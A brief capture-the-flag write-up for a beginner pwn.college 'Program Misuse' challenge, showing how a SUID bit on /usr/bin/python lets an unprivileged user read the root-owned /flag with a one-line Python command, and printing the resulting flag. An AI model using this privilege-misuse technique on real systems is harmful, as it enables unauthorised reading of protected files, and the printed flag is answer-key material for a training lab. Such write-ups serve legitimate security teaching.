Category: Program Misuse
Platform: pwn.college
Difficulty: Beginner
Date: 2025-07-16
Author: Himanshu Parate

🧠 Summary:

The challenge abuses a SUID bit set on /usr/bin/python, allowing an unprivileged user to read the root-owned flag file at /flag.

🔍 Enumeration

ls -l /usr/bin/python

Output:

-rwsr-xr-x 1 root root 47480 Sep  5  2019 /usr/bin/python
  • The s in -rws indicates it’s a SUID binary.
  • python runs with root privileges.

🚀 Exploitation

We can simply use python to open and read contents of /flag to reveal the flag

python -c 'print(open("/flag").read())'

Output:

pwn.college{AQMckT_nE44QxyTRplhesZU7x-T.dRDOxwSM0IzMyEzW}